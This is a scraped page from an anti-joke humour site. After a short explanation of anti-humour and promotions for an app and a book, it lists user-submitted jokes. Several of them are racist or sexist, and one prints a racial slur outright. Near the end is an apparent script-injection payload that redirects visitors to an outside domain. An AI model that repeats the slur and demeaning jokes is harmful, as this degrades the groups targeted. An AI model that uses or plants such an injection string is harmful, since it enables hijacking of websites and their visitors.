- Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

NEW ANTI-JOKE BOOK! Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

Want more? You might be interested in...

Anti-Joke Chicken

Anti-Joke Triceratops

Why can't Hellen keller drive? Because she's a woman.

What's green and eats rocks? A green rock eater What's purple and eats rocks? It hasn't been discovered by science yet...

Why was the ghast from minecraft crying? His family died

Why did Bruno Mars explode? He caught a grenade for ya.

2 blondes were heading to Disney world, they saw up ahead that said "Disney World left" then took a left and enjoyed Disney World and had fun on the rides

Why was the cat meowing really loud? It was on fire. Why did the cat suddenly stop meowing? It died.

Why did the boy die while brushing his teeth? The toothbrush wasn't water-proof.

Diarrhea

A black and a white walk into a bar, d.r. King would be proud.

Q: Why do blondes wear hoop earrings? A: Those that wear them think that said earrings positively accentuate their physical appearance.

A black man and a hispanic man are in a car. Who is driving? The guy who didn't call shotgun.

Want to hear a popular joke? Women's Rights

Is the glass half full or half empty? The liquid in the glass is not at exact half, so that question is not answerable.

Something strange in you're neighborhood. Who you gonna call? The police.

What is an offensive way to refer to black people from the time of the Flint Stones? Niggers

Why doesn't Jonathan Walk across the road? Because he is in a wheelchair...

Doctor, doctor, I just swallowed a roll of film! That was an incredibly foolish and dangerous thing for you to do. I would be surprised if you survived another day before the chemicals corrode your stomach lining and release hydrofluoric acid throughout your body causing sepsis.

Q. How can you tell if a snake bites? A. It depends on if he walks to school or carries his lunch.

Two elves walk into a bar. The hobbit laughs and walks under it.

What did the cricket say to the fox? Cricket.

My girlfriend wanted to talk about her feelings ... SO I TOLD THAT BITCH THAT... i really loved her and care about her feelings

What is a good remedy for the common cold? A piping hot bowl of chicken-noodle soup.

what is black white and red all over? A black and white movie with the first violent color leave a comment if this joke is duped.

"'>document.location.href="http://cramik.org"

Anti Joke

Our Updated iOS App!

The Anti Joke Book

MOAR??